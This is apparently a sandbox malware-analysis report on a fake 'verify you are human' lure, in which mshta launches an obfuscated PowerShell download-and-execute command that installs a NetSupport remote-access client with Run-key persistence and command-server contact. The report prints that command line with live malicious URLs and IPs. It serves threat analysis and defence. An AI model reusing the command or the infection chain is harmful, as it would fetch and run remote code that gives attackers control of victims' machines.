| File name: | mshta.txt |
| Full analysis: | https://app.any.run/tasks/abbfc4a0-ee03-445c-9c80-c18ad532351f |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 14, 2025, 17:44:26 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-8 text, with CRLF line terminators |
| MD5: | F25BB327AF26FCED2979B74F96D3D176 |
| SHA1: | 6209B72511B10393F11376F7676DE6A35F7FB2E1 |
| SHA256: | 8A1974F7612115DE28C6829EEBA33E828853949FE216CE5E05091329E8B216E6 |
| SSDEEP: | 6:IRLiTry3ar6C0IMPy7NoYtWmAxIV6IMPy7NoQ0NyjxW4cx+JIayvCC:IR2Tb2Zd6KYYmAxIAd6KQ0NtaC |
MALICIOUS
Modifies registry (POWERSHELL)
- powershell.exe (PID: 6212)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 6212)
NETSUPPORT has been found (auto)
- powershell.exe (PID: 6212)
NETSUPPORT has been detected (SURICATA)
- client32.exe (PID: 6672)
Request from PowerShell that ran from MSHTA.EXE
- powershell.exe (PID: 6212)
Connects to the CnC server
- client32.exe (PID: 6672)
NETSUPPORT mutex has been found
- client32.exe (PID: 6672)
SUSPICIOUS
Starts POWERSHELL.EXE for commands execution
- mshta.exe (PID: 6644)
Probably obfuscated PowerShell command line is found
- mshta.exe (PID: 6644)
Uses sleep to delay execution (POWERSHELL)
- powershell.exe (PID: 6212)
Obfuscated call of IEX
- powershell.exe (PID: 6212)
Process uses IPCONFIG to clear DNS cache
- powershell.exe (PID: 6212)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 6212)
Uses ATTRIB.EXE to modify file attributes
- cmd.exe (PID: 3836)
Potential Corporate Privacy Violation
- powershell.exe (PID: 6212)
- client32.exe (PID: 6672)
Executable content was dropped or overwritten
- powershell.exe (PID: 6212)
Process drops legitimate windows executable
- powershell.exe (PID: 6212)
The process drops C-runtime libraries
- powershell.exe (PID: 6212)
Drop NetSupport executable file
- powershell.exe (PID: 6212)
Contacting a server suspected of hosting an CnC
- client32.exe (PID: 6672)
Connects to the server without a host name
- client32.exe (PID: 6672)
INFO
Manual execution by a user
- cmd.exe (PID: 5828)
Reads security settings of Internet Explorer
- notepad.exe (PID: 6504)
Gets a random number, or selects objects randomly from a collection (POWERSHELL)
- powershell.exe (PID: 6212)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 6212)
Gets or sets the time when the file was last written to (POWERSHELL)
- powershell.exe (PID: 6212)
The sample compiled with english language support
- powershell.exe (PID: 6212)
The executable file from the user directory is run by the Powershell process
- client32.exe (PID: 6672)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
139
Monitored processes
10
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2144 | "C:\WINDOWS\system32\ipconfig.exe" /flushdns | C:\Windows\System32\ipconfig.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: IP Configuration Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3836 | "C:\WINDOWS\system32\cmd.exe" /c attrib +h C:\Users\admin\AppData\Roaming\ZmFarT | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3952 | attrib +h C:\Users\admin\AppData\Roaming\ZmFarT | C:\Windows\System32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5320 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5828 | "C:\WINDOWS\system32\cmd.exe" | C:\Windows\System32\cmd.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6212 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://hardcorelegends.com/a/b.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6224 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6504 | "C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\mshta.txt | C:\Windows\System32\notepad.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Notepad Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6644 | mshta.exe http://eiesoft.com/Ray-verify.html # ✅ ''Verify you are human - Ray Verification ID: 2585'' | C:\Windows\System32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6672 | "C:\Users\admin\AppData\Roaming\ZmFarT\client32.exe" | C:\Users\admin\AppData\Roaming\ZmFarT\client32.exe | powershell.exe | ||||||||||||
User: admin Company: NetSupport Ltd Integrity Level: HIGH Description: NetSupport Client Application Version: V14.10 Modules
| |||||||||||||||
Total events
7 429
Read events
7 422
Write events
7
Delete events
0
Modification events
| (PID) Process: | (6644) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6644) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6644) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (6212) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Microsoft |
Value: C:\Users\admin\AppData\Roaming\ZmFarT\client32.exe | |||
| (PID) Process: | (6672) client32.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6672) client32.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6672) client32.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
Executable files
8
Suspicious files
4
Text files
4
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6644 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\Ray-verify[1].htm | binary | |
MD5:AD84C95EB1ED26288722F685F4829297 | SHA256:4B437EBC58B304CE760EE7444B3BBB89A54C05591B3CB346C2842475F46151CC | |||
| 6212 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jgtfed3z.3tt.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6212 | powershell.exe | C:\Users\admin\AppData\Roaming\ZmFarT\pcicapi.dll | executable | |
MD5:DCDE2248D19C778A41AA165866DD52D0 | SHA256:9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917 | |||
| 6212 | powershell.exe | C:\Users\admin\AppData\Roaming\ZmFarT\PCICL32.DLL | executable | |
MD5:00587238D16012152C2E951A087F2CC9 | SHA256:63AA18C32AF7144156E7EE2D5BA0FA4F5872A7DEB56894F6F96505CBC9AFE6F8 | |||
| 6212 | powershell.exe | C:\Users\admin\AppData\Roaming\ZmFarT\NSM.LIC | text | |
MD5:390C964070626A64888D385C514F568E | SHA256:AD0D05305FDEB3736C1E8D49C3A6746073D27B4703EB6DE6589BDC4AA72D7B54 | |||
| 6212 | powershell.exe | C:\Users\admin\AppData\Roaming\ZmFarT\remcmdstub.exe | executable | |
MD5:1768C9971CEA4CC10C7DD45A5F8F022A | SHA256:6558B3307215C4B73FC96DC552213427FB9B28C0CB282FE6C38324F1E68E87D6 | |||
| 6212 | powershell.exe | C:\Users\admin\AppData\Roaming\ZmFarT\PCICHEK.DLL | executable | |
MD5:A0B9388C5F18E27266A31F8C5765B263 | SHA256:313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A | |||
| 6212 | powershell.exe | C:\Users\admin\AppData\Roaming\ZmFarT\msvcr100.dll | executable | |
MD5:0E37FBFA79D349D672456923EC5FBBE3 | SHA256:8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18 | |||
| 6212 | powershell.exe | C:\Users\admin\AppData\Roaming\ZmFarT\HTCTL32.DLL | executable | |
MD5:2D3B207C8A48148296156E5725426C7F | SHA256:EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796 | |||
| 6212 | powershell.exe | C:\Users\admin\AppData\Roaming\ZmFarT\client32.ini | text | |
MD5:D412D48F7FEEF7152F21954DF3F71F02 | SHA256:DF73A60E2475C1E585FC8E0A62F89BE7AFEF06CA2B777144F6802DF8320D835E | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
28
TCP/UDP connections
46
DNS requests
27
Threats
31
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6212 | powershell.exe | GET | 200 | 144.172.96.6:80 | http://hardcorelegends.com/a/4.png | unknown | — | — | unknown |
6644 | mshta.exe | GET | 200 | 144.172.92.5:80 | http://eiesoft.com/Ray-verify.html | unknown | — | — | unknown |
6212 | powershell.exe | GET | 200 | 144.172.96.6:80 | http://hardcorelegends.com/a/5.png | unknown | — | — | unknown |
6212 | powershell.exe | GET | 200 | 144.172.96.6:80 | http://hardcorelegends.com/a/6.png | unknown | — | — | unknown |
6212 | powershell.exe | GET | 200 | 144.172.96.6:80 | http://hardcorelegends.com/a/9.png | unknown | — | — | unknown |
6212 | powershell.exe | GET | 200 | 144.172.96.6:80 | http://hardcorelegends.com/a/1.png | unknown | — | — | unknown |
6212 | powershell.exe | GET | 200 | 144.172.96.6:80 | http://hardcorelegends.com/a/3.png | unknown | — | — | unknown |
6212 | powershell.exe | GET | 200 | 144.172.96.6:80 | http://hardcorelegends.com/a/7.png | unknown | — | — | unknown |
6212 | powershell.exe | GET | 200 | 144.172.96.6:80 | http://hardcorelegends.com/a/8.png | unknown | — | — | unknown |
— | — | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3884 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 2.23.246.101:80 | www.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5064 | SearchApp.exe | 2.23.227.215:443 | www.bing.com | Ooredoo Q.S.C. | QA | whitelisted |
1076 | svchost.exe | 184.28.89.167:443 | go.microsoft.com | AKAMAI-AS | US | whitelisted |
5064 | SearchApp.exe | 2.23.227.208:443 | www.bing.com | Ooredoo Q.S.C. | QA | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
r.bing.com |
| whitelisted |
fp.msedge.net |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
6212 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
6212 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
6212 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
6212 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
6212 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
6212 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
6212 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
6212 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
6212 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
6212 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
3 ETPRO signatures available at the full report